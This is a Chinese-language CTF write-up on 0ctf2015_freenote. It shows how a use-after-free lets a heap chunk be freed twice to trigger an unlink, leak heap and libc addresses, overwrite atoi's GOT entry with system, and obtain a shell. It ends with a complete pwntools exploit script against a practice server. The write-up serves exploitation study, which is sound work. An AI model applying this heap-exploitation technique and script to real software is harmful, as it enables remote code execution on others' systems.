从一道题来体会用UAF打unlink

之前对于 unlink 的理解停留在表面,一直以为得有个堆溢出才能利用。今天做了一道 0ctf2015_freenote ,发现利用 UAF ,依然可以打 unlink … 本来记录一下用 UAFunlink 的思路,关于堆溢出打 unlink 以及该手法的更多细节请见 本文

unlink 的关键在于两点

  1. 去伪造一个 fake_chunk ,并且要已知 &fake_chunk 的地址
  2. 能够控制 fake_chunk 下面的(高地址方向)合法堆块的 prev_sizesize

上面提到的合法堆块,也被称为引线堆块。当释放掉引线堆块时,因为引线堆块的 prev_inuse0 (需要想办法控制),就会让 ptmalloc 以为引线堆块上面还有一个堆块是处于释放状态,然后要触发合并,通过精心构造的引线堆块 prev_size 找到上一个(低地址方向) fake_chunk ,最终触发 unlink

如果是堆溢出的话,那么很自然 fake_chunk 的构造以及通过溢出来控制引线堆块的 prev_sizesize 位都轻而易举。下面来看一下只有 UAF 漏洞,如何来做到同样的效果。

前提:存在 UAF 漏洞,以 libc 2.23 为例

  1. 申请 size0x100 堆块 A 和堆块 B (如下图)
image-20230702153901003
  1. 现在释放掉 AB ,二者会合并成一个 0x220 的堆块,处于释放状态
image-20230702154135600
  1. 将这个 0x220 处于释放状态的堆块申请出来,命名为堆块 C (如下),此时将堆块申请出来后,是可以往里面写入数据的,此时来在原本堆块 A 的位置伪造 fake_chunk ,然后让写入的数据来覆盖掉堆块 Bprev_sizesize

    image-20230702154558066
  2. 因为存在 UAF 的原因,所以堆块 B 是可以再次被释放的,而它也就被当做了引线堆块。

说到底,其实 UAF 能导致 unlink 的原因实际上是 double free (是位于 unsorted bin 中的堆块两次释放) 至此前戏完成,后面的伪造 fake_chunk 以及触发 unlink 的操作正常进行即可。下面来结合一道题目具体分析一下

0ctf2015_freenote

保护策略

image-20230702155513169

代码审计

image-20230702155748014

经典菜单堆,增,删,编辑,打印功能都有。delete 函数中存在 UAF 漏洞

add 功能中,对申请堆块的大小做了要求,必须要为 0x80 字节对齐(下图红框中体现了这一点),这就意味着申请的堆块都无法进入到 fastbin

image-20230702155952680

edit 功能中首先限制了堆块自定义的标志位是否为 1 ,如果不为1的话,说明该堆块已经被释放了(虽然存在 UAF ,但是自定义标志位确实置空了),如果编辑的 size 不等于原本的值,那么会调用 realloc 扩展或缩小堆块

image-20230702160146429

show 函数可以一次直接打印所有堆块里面的数据

利用思路

总结一下前面的已知信息

  1. 申请堆块最小为 0x90,也就是堆块无法进入 fastbin
  2. UAF ,但是会将自定义标志位置零
  3. show 函数和 edit 函数会检查自定义标志位,但是 delete 函数不会
  4. 可以篡改 got 表,并且没开 PIE
  5. 堆块的地址是记录在了初始大堆块中

所以本题的思路是用 show 函数先泄露出 libc 地址和堆地址(因为检查了自定义标志位,所以要将堆块申请出来,利用里面的残留值进行打印),按照本文最开始说的来布局,利用 uaf 做出 unlink

图解过程如下:

image-20230702162401437

image-20230702162714882

image-20230702162431475

释放引线堆块,触发 unlink ,在记录堆块地址的位置写入了一个 &fake_chunk 的地址

然后再记录堆块地址的区域写一个 atoi 函数的 got 表地址,最后用 edit 功能篡改 atoigot 表为 system 地址,执行到 atoi("/bin/sh") 获取 shell

EXP

from tools import *
#context.log_level='debug'
d_a=0x4010D4
d_d=0x4010EC
d_e=0x4010e0
d_s=0x4010C8
p,e,libc=load("pwn","node4.buuoj.cn:26132","buu64-libc-2.23.so")

def add(size,content):
p.sendlineafter("Your choice: ",str(2))
p.sendlineafter("Length of new note: ",str(size))
p.sendafter("Enter your note: ",content)

def show():
p.sendlineafter("Your choice: ",str(1))

def edit(index,size,content):
p.sendlineafter("Your choice: ",str(3))
p.sendlineafter("Note number: ",str(index))
p.sendlineafter("Length of note: ",str(size))
p.sendafter("Enter your note: ",content)

def delete(index):
p.sendlineafter("Your choice: ",str(4))
p.sendlineafter("Note number: ",str(index))



add(0x100,'a'*0x100)
add(0x100,'a'*0x100)
add(0x100,'a'*0x100)
add(0x100,'a'*0x100)
add(0x100,'a'*0x100)

add(0x10,'b'*0x10)
delete(0)
delete(2)
delete(4)
add(0x8,'c'*8)

show()
p.recvuntil('c'*8)
heap_addr=u64(p.recv(4).ljust(8,b'\x00'))
log_addr('heap_addr')

add(0x8,'q'*0x8)
add(0x8,'x'*0x8)
show()
p.recvuntil('x'*8)

libc_base=recv_libc()-0x3c4c78
log_addr('libc_base')
sys_addr=libc_base+libc.symbols['system']

add(0x100,'r'*0x100)#6
add(0x100,'e'*0x100)#7
add(0x8,'prevent1')#8
debug(p,d_d,d_a,d_e,d_s,0x400F67)
delete(6)
delete(7)


target_addr=heap_addr-0x1980
fake=p64(0)+p64(0x100)
fake+=p64(target_addr-0x18)+p64(target_addr-0x10)
fake+=p64(0)*28
fake+=p64(0x100)+p64(0x110)


add(0x200,fake.ljust(0x200,b'\x00'))#5

delete(7)

edit(6,0x200,p64(e.got['atoi'])*0x40)

edit(5,0x10,p64(sys_addr)*2)
p.sendlineafter("Your choice: ","/bin/sh\x00")
p.interactive()

image-20230702163540908